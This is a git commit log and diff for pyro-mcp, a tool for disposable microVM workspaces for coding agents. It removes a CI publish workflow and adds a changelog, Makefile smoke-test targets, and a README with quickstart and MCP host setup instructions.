Add a dedicated vision doc that captures the product thesis, anti-goals, naming guidance, and the future interaction model around workspaces, shells, services, snapshots, and reset. Link that doc from the README landing path and persistent task section so the distinction is visible to new users.

Keep the proposed workspace and shell primitives explicitly illustrative so the vision sharpens direction without silently changing the current public contract.
2026-03-11 23:54:15 -03:00
9e11dcf9ab Add task sync push milestone
Tasks could start from host content in 2.2.0, but there was still no post-create path to update a live workspace from the host. This change adds the next host-to-task step so repeated fix or review loops do not require recreating the task for every local change.

Add task sync push across the CLI, Python SDK, and MCP server, reusing the existing safe archive import path from seeded task creation instead of introducing a second transfer stack. The implementation keeps sync separate from workspace_seed metadata, validates destinations under /workspace, and documents the current non-atomic recovery path as delete-and-recreate.

Validation:
- uv lock
- UV_CACHE_DIR=.uv-cache uv run pytest --no-cov tests/test_cli.py tests/test_vm_manager.py tests/test_api.py tests/test_server.py tests/test_public_contract.py
- UV_CACHE_DIR=.uv-cache make check
- UV_CACHE_DIR=.uv-cache make dist-check
- real guest-backed smoke: task create --source-path, task sync push, task exec to verify both files, task delete
2026-03-11 22:20:55 -03:00
aa886b346e Add seeded task workspace creation
Current persistent tasks started with an empty workspace, which blocked the first useful host-to-task workflow in the task roadmap. This change lets task creation start from a host directory or tar archive without changing the one-shot VM surfaces.

Expose source_path on task create across the CLI, SDK, and MCP, add safe archive upload and extraction support for guest and host-compat backends, persist workspace_seed metadata, and patch the per-task rootfs with the bundled guest agent before boot so seeded guest tasks work without republishing environments. Also switch post--- command reconstruction to shlex.join() so documented sh -lc task examples preserve argument boundaries.

Validation:
- uv lock
- UV_CACHE_DIR=.uv-cache uv run pytest --no-cov tests/test_vm_guest.py tests/test_vm_manager.py tests/test_cli.py tests/test_api.py tests/test_server.py tests/test_public_contract.py
- UV_CACHE_DIR=.uv-cache make check
- UV_CACHE_DIR=.uv-cache make dist-check
- real guest-backed smoke: task create --source-path, task exec -- cat note.txt, task delete
2026-03-11 21:45:38 -03:00
58df176148 Add persistent task workspace alpha
Start the first workspace milestone toward the task-oriented product without changing the existing one-shot vm_run/pyro run contract.

Add a disk-backed task registry in the manager, auto-started task workspaces rooted at /workspace, repeated non-cleaning exec, and persisted command journals exposed through task create/exec/status/logs/delete across the CLI, Python SDK, and MCP server.

Update the public contract, docs, examples, and version/catalog metadata for 2.1.0, and cover the new surface with manager, CLI, SDK, and MCP tests. Validation: UV_CACHE_DIR=.uv-cache make check and UV_CACHE_DIR=.uv-cache make dist-check.
2026-03-11 20:10:10 -03:00
6e16e74fd5 Harden default environment pull behavior
Fix the default one-shot install path so empty bundled profile directories no longer win over OCI-backed environment pulls or leave broken cached symlinks behind.

Treat cached installs as valid only when the manifest and boot artifacts are all present, repair invalid installs on the next pull, and add human-mode phase markers for env pull and run without changing JSON output.

Align the Python lifecycle example and public docs with the current exec_vm/vm_exec auto-clean semantics, and validate the slice with focused pytest coverage, make check, make dist-check, and a real default-path pull/inspect/run smoke.
2026-03-11 19:27:09 -03:00
694be0730b Align quickstart guidance across docs and CLI 2026-03-09 23:14:52 -03:00
81636e86fb Refresh quickstart walkthrough recording 2026-03-09 23:06:21 -03:00
0181de2563 Remove GitHub-specific project plumbing 2026-03-09 22:58:29 -03:00
895cb608c0 Add terminal walkthrough assets 2026-03-09 22:49:56 -03:00
be654b5b41 Clarify package install and run expectations 2026-03-09 21:36:36 -03:00
b2ea56db4c Polish onboarding and CLI help 2026-03-09 21:12:56 -03:00
38b6aeba68 Align doctor docs with CLI output 2026-03-09 21:00:37 -03:00
5d63e4c16e Ship trust-first CLI and runtime defaults 2026-03-09 20:52:49 -03:00
125 changed files with 36172 additions and 780 deletions

View file

@ -1,45 +0,0 @@
name: Publish Environments
on:
workflow_dispatch:
release:
types:
- published
permissions:
contents: read
concurrency:
group: publish-environments-${{ github.ref }}
cancel-in-progress: false
jobs:
publish:
runs-on: ubuntu-24.04
env:
UV_CACHE_DIR: .uv-cache
OCI_REGISTRY_USERNAME: ${{ secrets.DOCKERHUB_USERNAME }}
OCI_REGISTRY_PASSWORD: ${{ secrets.DOCKERHUB_TOKEN }}
steps:
- name: Check out source
uses: actions/checkout@v4
- name: Set up Python
uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Set up uv
uses: astral-sh/setup-uv@v6
- name: Install project dependencies
run: make setup
- name: Run project checks
run: make check
- name: Build real runtime inputs
run: make runtime-materialize
- name: Publish official environments to Docker Hub
run: make runtime-publish-official-environments-oci

View file

@ -30,10 +30,11 @@ This repository ships `pyro-mcp`, an MCP-compatible package for ephemeral VM lif
- Use `make doctor` to inspect bundled runtime integrity and host prerequisites.
- Network-enabled flows require host privilege for TAP/NAT setup; the current implementation uses `sudo -n` for `ip`, `nft`, and `iptables` when available.
- If you need full log payloads from the Ollama demo, use `make ollama-demo OLLAMA_DEMO_FLAGS=-v`.
- `pyro run` now defaults to `1 vCPU / 1024 MiB`, human-readable output, and fail-closed guest execution unless `--allow-host-compat` is passed.
- After heavy runtime work, reclaim local space with `rm -rf build` and `git lfs prune`.
- The pre-migration `pre-lfs-*` tag is local backup material only; do not push it or it will keep the old giant blobs reachable.
- Public contract documentation lives in `docs/public-contract.md`.
- Official Docker Hub publication workflow lives in `.github/workflows/publish-environments.yml`.
- Official Docker Hub publication is performed locally with `make runtime-publish-official-environments-oci`.
## Quality Gates

328
CHANGELOG.md Normal file
View file

@ -0,0 +1,328 @@
# Changelog
All notable user-visible changes to `pyro-mcp` are documented here.
## 4.5.0
- Added `pyro prepare` as the machine-level warmup path for the daily local
loop, with cached reuse when the runtime, catalog, and environment state are
already warm.
- Extended `pyro doctor` with daily-loop readiness output so users can see
whether the machine is cold, warm, or stale for `debian:12` before they
reconnect a chat host.
- Added `make smoke-daily-loop` to prove the warmed repro/fix/reset path end
to end on a real guest-backed machine.
## 4.4.0
- Added explicit named MCP/server modes for the main workspace workflows:
`repro-fix`, `inspect`, `cold-start`, and `review-eval`.
- Kept the generic no-mode `workspace-core` path available as the escape hatch,
while making named modes the first user-facing story across help text, host
helpers, and the recipe docs.
- Aligned the shared use-case smoke runner with those modes so the repro/fix
and cold-start flows now prove a mode-backed happy path instead of only the
generic profile path.
## 4.3.0
- Added `pyro workspace summary`, `Pyro.summarize_workspace()`, and MCP
`workspace_summary` so users and chat hosts can review a concise view of the
current workspace session since the last reset.
- Added a lightweight review-event log for edits, syncs, exports, service
lifecycle, and snapshot activity without duplicating the command journal.
- Updated the main workspace walkthroughs and review/eval recipe so
`workspace summary` is the first review surface before dropping down to raw
diffs, logs, and exported files.
## 4.2.0
- Added host bootstrap and repair helpers with `pyro host connect`,
`pyro host print-config`, `pyro host doctor`, and `pyro host repair` for the
supported Claude Code, Codex, and OpenCode flows.
- Repositioned the docs and examples so supported hosts now start from the
helper flow first, while keeping raw `pyro mcp serve` commands as the
underlying MCP entrypoint and advanced fallback.
- Added deterministic host-helper coverage so the shipped helper commands and
OpenCode config snippet stay aligned with the canonical `pyro mcp serve`
command shape.
## 4.1.0
- Added project-aware MCP startup so bare `pyro mcp serve` from a repo root can
auto-detect the current Git checkout and let `workspace_create` omit
`seed_path` safely.
- Added explicit fallback startup flags for chat hosts that do not preserve the
server working directory: `--project-path`, `--repo-url`, `--repo-ref`, and
`--no-project-source`.
- Extended workspace seed metadata with startup origin fields so chat-facing
workspace creation can show whether a workspace came from a manual seed path,
the current project, or a clean cloned repo source.
## 4.0.0
- Flipped the default MCP/server profile from `workspace-full` to
`workspace-core`, so bare `pyro mcp serve`, `create_server()`, and
`Pyro.create_server()` now match the recommended narrow chat-host path.
- Rewrote MCP-facing docs and shipped host-specific examples so the normal
setup path no longer needs an explicit `--profile workspace-core` just to
get the default behavior.
- Added migration guidance for hosts that relied on the previous implicit full
surface: they now need `--profile workspace-full` or
`create_server(profile=\"workspace-full\")`.
## 3.11.0
- Added first-class host-specific MCP onramps for Claude Code, Codex, and
OpenCode so major chat-host users can copy one exact setup example instead of
translating the generic MCP config by hand.
- Reordered the main integration docs and examples so host-specific MCP setup
appears before the generic `mcpServers` fallback, while keeping
`workspace-core` as the recommended first profile everywhere user-facing.
- Kept Claude Desktop and Cursor as generic fallback examples instead of the
primary onramp path.
## 3.10.0
- Aligned the five guest-backed workspace smoke scenarios with the recipe docs
they advertise, so the smoke pack now follows the documented canonical user
paths instead of mixing in harness-only CLI formatting checks.
- Fixed the repro-plus-fix smoke to use the structured SDK patch flow directly,
removing its dependency on brittle human `[workspace-patch] ...` output.
- Promoted `make smoke-use-cases` in the docs as the trustworthy guest-backed
verification path for the advertised workspace workflows.
## 3.9.0
- Added `--content-only` to `pyro workspace file read` and
`pyro workspace disk read` so copy-paste flows and chat transcripts can emit
only file content without the human summary footer.
- Polished default human read output so content without a trailing newline is
still separated cleanly from the summary line in merged terminal logs.
- Updated the stable walkthroughs and contract docs to use content-only reads
where plain file content is the intended output.
## 3.8.0
- Repositioned the MCP/chat-host onramp so `workspace-core` is clearly the
recommended first profile across `pyro mcp serve --help`, the README, install
docs, first-run docs, and shipped MCP config examples.
- Kept `workspace-full` as the default for `3.x` compatibility, but rewrote the
public guidance to frame it as the advanced/compatibility surface instead of
the default recommendation.
- Promoted the `workspace-core` OpenAI example and added a minimal chat-host
quickstart near the top-level product docs so new integrators no longer need
to read deep integration docs before choosing the right profile.
## 3.7.0
- Added CLI handoff shortcuts with `pyro workspace create --id-only` and
`pyro workspace shell open --id-only` so shell scripts and walkthroughs can
capture identifiers without JSON parsing glue.
- Added file-backed text inputs for `pyro workspace file write --text-file` and
`pyro workspace patch apply --patch-file`, keeping the existing `--text` and
`--patch` behavior stable while removing `$(cat ...)` shell expansion from
the canonical flows.
- Rewrote the top workspace walkthroughs, CLI help examples, and roadmap/docs
around the new shortcut flags, and updated the real guest-backed repro/fix
smoke to exercise a file-backed patch input through the CLI.
## 3.6.0
- Added `docs/use-cases/` with five concrete workspace recipes for cold-start validation,
repro-plus-fix loops, parallel workspaces, untrusted inspection, and review/eval workflows.
- Added real guest-backed smoke packs for those stories with `make smoke-use-cases` plus one
`make smoke-...` target per scenario, all backed by the shared
`scripts/workspace_use_case_smoke.py` runner.
- Updated the main docs so the stable workspace walkthrough now points directly at the recipe set
and the smoke packs as the next step after first-run validation.
## 3.5.0
- Added chat-friendly shell reads with `--plain` and `--wait-for-idle-ms` across the CLI,
Python SDK, and MCP server so PTY sessions can be fed back into a chat model without
client-side ANSI cleanup.
- Kept raw cursor-based shell reads intact for advanced clients while adding manager-side
output rendering and idle batching on top of the existing guest/backend shell transport.
- Updated the stable shell examples and docs to recommend `workspace shell read --plain
--wait-for-idle-ms 300` for model-facing interactive loops.
## 3.4.0
- Added stable MCP/server tool profiles with `vm-run`, `workspace-core`, and
`workspace-full` so chat hosts can expose only the right model-facing surface.
- Added `--profile` to `pyro mcp serve` plus matching `profile=` support on
`Pyro.create_server()` and the package-level `create_server()` factory.
- Added canonical `workspace-core` integration examples for OpenAI Responses
and MCP client configuration, and narrowed the `workspace-core` schemas so
secrets, network policy, shells, services, snapshots, and disk tools stay out
of the default persistent chat profile.
## 3.3.0
- Added first-class workspace naming and discovery across the CLI, Python SDK, and MCP server
with `pyro workspace create --name/--label`, `pyro workspace list`, `pyro workspace update`,
`Pyro.list_workspaces()`, `Pyro.update_workspace()`, and the matching `workspace_list` /
`workspace_update` MCP tools.
- Added persisted `name`, key/value `labels`, and `last_activity_at` metadata to workspace create,
status, reset, and update payloads, and surfaced compact workspace summaries from
`workspace list`.
- Tracked `last_activity_at` on real workspace mutations so humans and chat-driven agents can
resume the most recently used workspace without managing opaque IDs out of band.
## 3.2.0
- Added model-native live workspace file operations across the CLI, Python SDK, and MCP server
with `workspace file list|read|write` so agents can inspect and edit text files without shell
quoting tricks or host-side temp-file glue.
- Added `workspace patch apply` for explicit unified text diff application under `/workspace`,
with supported add/modify/delete patch forms and clear recovery guidance via `workspace reset`.
- Kept file operations scoped to started workspaces and `/workspace`, while preserving the existing
diff/export/snapshot/service/shell model around the stable workspace product.
## 3.1.0
- Added explicit workspace lifecycle stop/start operations across the CLI, Python SDK, and MCP
server so a persistent workspace can be paused and resumed without resetting `/workspace`,
snapshots, or command history.
- Added secondary stopped-workspace disk tools with raw ext4 export plus offline `disk list` and
`disk read` inspection for guest-backed workspaces.
- Scrubbed guest runtime-only paths such as `/run/pyro-secrets`, `/run/pyro-shells`, and
`/run/pyro-services` before stopped-workspace disk export and offline inspection so those tools
stay secondary to the stable workspace product without leaking runtime-only state.
## 3.0.0
- Promoted the workspace-first product surface to stable across the CLI, Python SDK, and MCP
server, with `pyro run` retained as the stable one-shot entrypoint.
- Repositioned the main docs, help text, examples, and walkthrough assets around the stable
workspace path: create, sync, exec or shell, services, snapshots/reset, diff/export, and
delete.
- Froze the `3.x` public contract around the current workspace surface without introducing new
runtime capability in this release.
## 2.10.0
- Replaced the workspace-level boolean network toggle with explicit workspace network policies:
`off`, `egress`, and `egress+published-ports`.
- Added localhost-only published TCP ports for workspace services across the CLI, Python SDK, and
MCP server, including returned host/guest port metadata on service start, list, and status.
- Kept published ports attached to services rather than `/workspace` itself, so host probing works
without changing workspace diff, export, shell, or reset semantics.
## 2.9.0
- Added explicit workspace secrets across the CLI, Python SDK, and MCP server with
`pyro workspace create --secret/--secret-file`, `Pyro.create_workspace(..., secrets=...)`, and
the matching `workspace_create` MCP inputs.
- Added per-call secret-to-environment mapping for `workspace exec`, `workspace shell open`, and
`workspace service start`, with secret values redacted from command output, shell reads, service
logs, and persisted workspace logs.
- Kept secret-backed workspaces guest-only and fail-closed while re-materializing persisted secret
files outside `/workspace` across workspace creation and reset.
## 2.8.0
- Added explicit named workspace snapshots across the CLI, Python SDK, and MCP server with
`pyro workspace snapshot *`, `Pyro.create_snapshot()` / `list_snapshots()` /
`delete_snapshot()`, and the matching `snapshot_*` MCP tools.
- Added `pyro workspace reset` and `Pyro.reset_workspace()` so a workspace can recreate its full
sandbox from the immutable baseline or one named snapshot while keeping the same identity.
- Made reset a full-sandbox recovery path that clears command history, shells, and services while
preserving the workspace spec, named snapshots, and immutable baseline.
## 2.7.0
- Added first-class workspace services across the CLI, Python SDK, and MCP server with
`pyro workspace service *`, `Pyro.start_service()` / `list_services()` / `status_service()` /
`logs_service()` / `stop_service()`, and the matching `service_*` MCP tools.
- Added typed readiness probes for workspace services with file, TCP, HTTP, and command checks so
long-running processes can be started and inspected without relying on shell-fragile flows.
- Kept service state and logs outside `/workspace`, and surfaced aggregate service counts from
`workspace status` without polluting workspace diff or export semantics.
## 2.6.0
- Added explicit host-out workspace operations across the CLI, Python SDK, and MCP server with
`pyro workspace export`, `Pyro.export_workspace()`, `pyro workspace diff`,
`Pyro.diff_workspace()`, and the matching `workspace_export` / `workspace_diff` MCP tools.
- Captured an immutable create-time baseline for every new workspace so later `workspace diff`
compares the live `/workspace` tree against that original seed state.
- Kept export and diff separate from command execution and shell state so workspaces can mutate,
be inspected, and copy results back to the host without affecting command logs or shell sessions.
## 2.5.0
- Added persistent PTY shell sessions across the CLI, Python SDK, and MCP server with
`pyro workspace shell *`, `Pyro.open_shell()` / `read_shell()` / `write_shell()` /
`signal_shell()` / `close_shell()`, and `shell_*` MCP tools.
- Kept interactive shells separate from `workspace exec`, with cursor-based merged output reads
and explicit close/signal operations for long-lived workspace sessions.
- Updated the bundled guest agent and mock backend so shell sessions persist across separate
calls and are cleaned up automatically by `workspace delete`.
## 2.4.0
- Replaced the public persistent-workspace surface from `task_*` to `workspace_*` across the CLI,
Python SDK, and MCP server in one clean cut with no compatibility aliases.
- Renamed create-time seeding from `source_path` to `seed_path` for workspace creation while keeping
later `workspace sync push` imports on `source_path`.
- Switched persisted local records from `tasks/*/task.json` to `workspaces/*/workspace.json` and
updated the main docs/examples to the workspace-first language.
## 2.3.0
- Added `task sync push` across the CLI, Python SDK, and MCP server so started task workspaces can
import later host-side directory or archive content without being recreated.
- Reused the existing safe archive import path with an explicit destination under `/workspace`,
including host-side and guest-backed task support.
- Documented sync as a non-atomic update path in `2.3.0`, with delete-and-recreate as the recovery
path if a sync fails partway through.
## 2.2.0
- Added seeded task creation across the CLI, Python SDK, and MCP server with an optional
`source_path` for host directories and `.tar` / `.tar.gz` / `.tgz` archives.
- Seeded task workspaces now persist `workspace_seed` metadata so later status calls report how
`/workspace` was initialized.
- Reused the task workspace model from `2.1.0` while adding the first explicit host-to-task
content import path for repeated command workflows.
## 2.1.0
- Added the first persistent task workspace alpha across the CLI, Python SDK, and MCP server.
- Shipped `task create`, `task exec`, `task status`, `task logs`, and `task delete` as an additive
surface alongside the existing one-shot VM contract.
- Made task workspaces persistent across separate CLI/SDK/MCP processes by storing task records on
disk under the runtime base directory.
- Added per-task command journaling so repeated workspace commands can be inspected through
`pyro task logs` or the matching SDK/MCP methods.
## 2.0.1
- Fixed the default `pyro env pull` path so empty local profile directories no longer produce
broken cached installs or contradictory "Pulled" / "not installed" states.
- Hardened cache inspection and repair so broken environment symlinks are treated as uninstalled
and repaired on the next pull.
- Added human-mode phase markers for `pyro env pull` and `pyro run` to make longer guest flows
easier to follow from the CLI.
- Corrected the Python lifecycle example and docs to match the current `exec_vm` / `vm_exec`
auto-clean semantics.
## 2.0.0
- Made guest execution fail closed by default; host compatibility execution now requires
explicit opt-in with `--allow-host-compat` or `allow_host_compat=True`.
- Switched the main CLI commands to human-readable output by default and kept `--json`
for structured output.
- Added default sizing of `1 vCPU / 1024 MiB` across the CLI, Python SDK, and MCP tools.
- Unified environment cache resolution across `pyro`, `Pyro`, and `pyro doctor`.
- Kept the stable environment-first contract centered on `vm_run`, `pyro run`, and
curated OCI-published environments.
## 1.0.0
- Shipped the first stable public `pyro` CLI, `Pyro` SDK, and MCP server contract.
- Replaced the old bundled-profile model with curated named environments.
- Switched distribution to a thin Python package plus official OCI environment artifacts.
- Published the initial official environment catalog on public Docker Hub.
- Added first-party environment pull, inspect, prune, and one-shot run flows.

View file

@ -1,5 +1,7 @@
PYTHON ?= uv run python
UV_CACHE_DIR ?= .uv-cache
PYTEST_WORKERS ?= $(shell sh -c 'n=$$(getconf _NPROCESSORS_ONLN 2>/dev/null || nproc 2>/dev/null || echo 2); if [ "$$n" -gt 8 ]; then n=8; fi; if [ "$$n" -lt 2 ]; then echo 1; else echo $$n; fi')
PYTEST_FLAGS ?= -n $(PYTEST_WORKERS)
OLLAMA_BASE_URL ?= http://localhost:11434/v1
OLLAMA_MODEL ?= llama3.2:3b
OLLAMA_DEMO_FLAGS ?=
@ -14,8 +16,11 @@ RUNTIME_ENVIRONMENTS ?= debian:12-base debian:12 debian:12-build
PYPI_DIST_DIR ?= dist
TWINE_USERNAME ?= __token__
PYPI_REPOSITORY_URL ?=
USE_CASE_ENVIRONMENT ?= debian:12
USE_CASE_SMOKE_FLAGS ?=
DAILY_LOOP_ENVIRONMENT ?= debian:12
.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check
.PHONY: help setup lint format typecheck test check dist-check pypi-publish demo network-demo doctor ollama ollama-demo run-server install-hooks smoke-daily-loop smoke-use-cases smoke-cold-start-validation smoke-repro-fix-loop smoke-parallel-workspaces smoke-untrusted-inspection smoke-review-eval runtime-bundle runtime-binaries runtime-kernel runtime-rootfs runtime-agent runtime-validate runtime-manifest runtime-sync runtime-clean runtime-fetch-binaries runtime-build-kernel-real runtime-build-rootfs-real runtime-materialize runtime-export-environment-oci runtime-export-official-environments-oci runtime-publish-environment-oci runtime-publish-official-environments-oci runtime-boot-check runtime-network-check
help:
@printf '%s\n' \
@ -25,13 +30,20 @@ help:
' lint Run Ruff lint checks' \
' format Run Ruff formatter' \
' typecheck Run mypy' \
' test Run pytest' \
' test Run pytest in parallel when multiple cores are available' \
' check Run lint, typecheck, and tests' \
' dist-check Smoke-test the installed pyro CLI and environment UX' \
' pypi-publish Build, validate, and upload the package to PyPI' \
' demo Run the deterministic VM demo' \
' network-demo Run the deterministic VM demo with guest networking enabled' \
' doctor Show runtime and host diagnostics' \
' smoke-daily-loop Run the real guest-backed prepare plus reset daily-loop smoke' \
' smoke-use-cases Run all real guest-backed workspace use-case smokes' \
' smoke-cold-start-validation Run the cold-start repo validation smoke' \
' smoke-repro-fix-loop Run the repro-plus-fix loop smoke' \
' smoke-parallel-workspaces Run the parallel isolated workspaces smoke' \
' smoke-untrusted-inspection Run the unsafe or untrusted inspection smoke' \
' smoke-review-eval Run the review and evaluation workflow smoke' \
' ollama-demo Run the network-enabled Ollama lifecycle demo' \
' run-server Run the MCP server' \
' install-hooks Install pre-commit hooks' \
@ -68,18 +80,21 @@ typecheck:
uv run mypy
test:
uv run pytest
uv run pytest $(PYTEST_FLAGS)
check: lint typecheck test
dist-check:
.venv/bin/pyro --version
.venv/bin/pyro --help >/dev/null
.venv/bin/pyro mcp --help >/dev/null
.venv/bin/pyro run --help >/dev/null
.venv/bin/pyro env list >/dev/null
.venv/bin/pyro env inspect debian:12 >/dev/null
.venv/bin/pyro doctor >/dev/null
uv run python -m pyro_mcp.cli --version
uv run python -m pyro_mcp.cli --help >/dev/null
uv run python -m pyro_mcp.cli prepare --help >/dev/null
uv run python -m pyro_mcp.cli host --help >/dev/null
uv run python -m pyro_mcp.cli host doctor >/dev/null
uv run python -m pyro_mcp.cli mcp --help >/dev/null
uv run python -m pyro_mcp.cli run --help >/dev/null
uv run python -m pyro_mcp.cli env list >/dev/null
uv run python -m pyro_mcp.cli env inspect debian:12 >/dev/null
uv run python -m pyro_mcp.cli doctor --environment debian:12 >/dev/null
pypi-publish:
@if [ -z "$$TWINE_PASSWORD" ]; then \
@ -104,6 +119,27 @@ network-demo:
doctor:
uv run pyro doctor
smoke-daily-loop:
uv run python scripts/daily_loop_smoke.py --environment "$(DAILY_LOOP_ENVIRONMENT)"
smoke-use-cases:
uv run python scripts/workspace_use_case_smoke.py --scenario all --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
smoke-cold-start-validation:
uv run python scripts/workspace_use_case_smoke.py --scenario cold-start-validation --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
smoke-repro-fix-loop:
uv run python scripts/workspace_use_case_smoke.py --scenario repro-fix-loop --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
smoke-parallel-workspaces:
uv run python scripts/workspace_use_case_smoke.py --scenario parallel-workspaces --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
smoke-untrusted-inspection:
uv run python scripts/workspace_use_case_smoke.py --scenario untrusted-inspection --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
smoke-review-eval:
uv run python scripts/workspace_use_case_smoke.py --scenario review-eval --environment "$(USE_CASE_ENVIRONMENT)" $(USE_CASE_SMOKE_FLAGS)
ollama: ollama-demo
ollama-demo:

411
README.md
View file

@ -1,37 +1,255 @@
# pyro-mcp
`pyro-mcp` runs commands inside ephemeral Firecracker microVMs using curated Linux environments such as `debian:12`.
`pyro-mcp` is a disposable MCP workspace for chat-based coding agents such as
Claude Code, Codex, and OpenCode.
It exposes the same runtime in three public forms:
It is built for Linux `x86_64` hosts with working KVM. The product path is:
- the `pyro` CLI
- the Python SDK via `from pyro_mcp import Pyro`
- an MCP server so LLM clients can call VM tools directly
1. prove the host works
2. connect a chat host over MCP
3. let the agent work inside a disposable workspace
4. validate the workflow with the recipe-backed smoke pack
`pyro-mcp` currently has no users. Expect breaking changes while this chat-host
path is still being shaped.
This repo is not trying to be a generic VM toolkit, a CI runner, or an
SDK-first platform.
[![PyPI version](https://img.shields.io/pypi/v/pyro-mcp.svg)](https://pypi.org/project/pyro-mcp/)
## Start Here
- Install: [docs/install.md](docs/install.md)
- Host requirements: [docs/host-requirements.md](docs/host-requirements.md)
- Integration targets: [docs/integrations.md](docs/integrations.md)
- Install and zero-to-hero path: [docs/install.md](docs/install.md)
- First run transcript: [docs/first-run.md](docs/first-run.md)
- Chat host integrations: [docs/integrations.md](docs/integrations.md)
- Use-case recipes: [docs/use-cases/README.md](docs/use-cases/README.md)
- Vision: [docs/vision.md](docs/vision.md)
- Public contract: [docs/public-contract.md](docs/public-contract.md)
- Host requirements: [docs/host-requirements.md](docs/host-requirements.md)
- Troubleshooting: [docs/troubleshooting.md](docs/troubleshooting.md)
- Stable workspace walkthrough GIF: [docs/assets/workspace-first-run.gif](docs/assets/workspace-first-run.gif)
- Terminal walkthrough GIF: [docs/assets/first-run.gif](docs/assets/first-run.gif)
- What's new in 4.5.0: [CHANGELOG.md#450](CHANGELOG.md#450)
- PyPI package: [pypi.org/project/pyro-mcp](https://pypi.org/project/pyro-mcp/)
## Public UX
## Who It's For
Primary install/run path:
- Claude Code users who want disposable workspaces instead of running directly
on the host
- Codex users who want an MCP-backed sandbox for repo setup, bug fixing, and
evaluation loops
- OpenCode users who want the same disposable workspace model
- people evaluating repo setup, test, and app-start workflows from a chat
interface on a clean machine
If you want a general VM platform, a queueing system, or a broad SDK product,
this repo is intentionally biased away from that story.
## Quickstart
Use either of these equivalent quickstart paths:
```bash
# Package without install
python -m pip install uv
uvx --from pyro-mcp pyro doctor
uvx --from pyro-mcp pyro prepare debian:12
uvx --from pyro-mcp pyro run debian:12 -- git --version
```
![Quickstart walkthrough](docs/assets/first-run.gif)
```bash
# Already installed
pyro doctor
pyro prepare debian:12
pyro run debian:12 -- git --version
```
From a repo checkout, replace `pyro` with `uv run pyro`.
What success looks like:
```bash
Platform: linux-x86_64
Runtime: PASS
Catalog version: 4.4.0
...
[pull] phase=install environment=debian:12
[pull] phase=ready environment=debian:12
Pulled: debian:12
...
[run] phase=create environment=debian:12
[run] phase=start vm_id=...
[run] phase=execute vm_id=...
[run] environment=debian:12 execution_mode=guest_vsock exit_code=0 duration_ms=...
git version ...
```
The first pull downloads an OCI environment from public Docker Hub, requires
outbound HTTPS access to `registry-1.docker.io`, and needs local cache space
for the guest image. `pyro prepare debian:12` performs that install step
automatically, then proves create, exec, reset, and delete on one throwaway
workspace so the daily loop is warm before the chat host connects.
## Chat Host Quickstart
After the quickstart works, make the daily loop explicit before you connect the
chat host:
```bash
uvx --from pyro-mcp pyro doctor --environment debian:12
uvx --from pyro-mcp pyro prepare debian:12
```
Then connect a chat host in one named mode. Use the helper flow first:
```bash
uvx --from pyro-mcp pyro host connect codex --mode repro-fix
uvx --from pyro-mcp pyro host connect codex --mode inspect
uvx --from pyro-mcp pyro host connect claude-code --mode cold-start
uvx --from pyro-mcp pyro host connect claude-code --mode review-eval
uvx --from pyro-mcp pyro host print-config opencode --mode repro-fix
```
If setup drifts or you want to inspect it first:
```bash
uvx --from pyro-mcp pyro host doctor
uvx --from pyro-mcp pyro host repair claude-code
uvx --from pyro-mcp pyro host repair codex
uvx --from pyro-mcp pyro host repair opencode
```
Those helpers wrap the same `pyro mcp serve` entrypoint. Use a named mode when
one workflow already matches the job. Fall back to the generic no-mode path
when the mode feels too narrow.
Mode examples:
```bash
uvx --from pyro-mcp pyro mcp serve --mode repro-fix
uvx --from pyro-mcp pyro mcp serve --mode inspect
uvx --from pyro-mcp pyro mcp serve --mode cold-start
uvx --from pyro-mcp pyro mcp serve --mode review-eval
```
Generic escape hatch:
```bash
uvx --from pyro-mcp pyro mcp serve
```
Installed package path:
From a repo root, the generic path auto-detects the current Git checkout and
lets the first `workspace_create` omit `seed_path`. If the host does not
preserve the server working directory, use:
```bash
pyro mcp serve
uvx --from pyro-mcp pyro host connect codex --project-path /abs/path/to/repo
uvx --from pyro-mcp pyro mcp serve --project-path /abs/path/to/repo
```
The public user-facing interface is `pyro` and `Pyro`.
`Makefile` targets are contributor conveniences for this repository and are not the primary product UX.
If you are starting outside a local checkout, use a clean clone source:
```bash
uvx --from pyro-mcp pyro host connect codex --repo-url https://github.com/example/project.git
uvx --from pyro-mcp pyro mcp serve --repo-url https://github.com/example/project.git
```
Copy-paste host-specific starts:
- Claude Code: [examples/claude_code_mcp.md](examples/claude_code_mcp.md)
- Codex: [examples/codex_mcp.md](examples/codex_mcp.md)
- OpenCode: [examples/opencode_mcp_config.json](examples/opencode_mcp_config.json)
- Generic MCP config: [examples/mcp_client_config.md](examples/mcp_client_config.md)
Claude Code cold-start or review-eval:
```bash
claude mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode cold-start
```
Codex repro-fix or inspect:
```bash
codex mcp add pyro -- uvx --from pyro-mcp pyro mcp serve --mode repro-fix
```
OpenCode `opencode.json` snippet:
```json
{
"mcp": {
"pyro": {
"type": "local",
"enabled": true,
"command": ["uvx", "--from", "pyro-mcp", "pyro", "mcp", "serve", "--mode", "repro-fix"]
}
}
}
```
If OpenCode launches the server from an unexpected cwd, use
`pyro host print-config opencode --project-path /abs/path/to/repo` or add
`"--project-path", "/abs/path/to/repo"` after `"serve"` in the same command
array.
If `pyro-mcp` is already installed, replace `uvx --from pyro-mcp pyro` with
`pyro` in the same command or config shape.
Use the generic no-mode path when the named mode feels too narrow. Move to
`--profile workspace-full` only when the chat truly needs shells, services,
snapshots, secrets, network policy, or disk tools.
## Zero To Hero
1. Validate the host with `pyro doctor`.
2. Warm the machine-level daily loop with `pyro prepare debian:12`.
3. Prove guest execution with `pyro run debian:12 -- git --version`.
4. Connect Claude Code, Codex, or OpenCode with one named mode such as
`pyro host connect codex --mode repro-fix`, then fall back to raw
`pyro mcp serve --mode ...` or the generic no-mode path when needed.
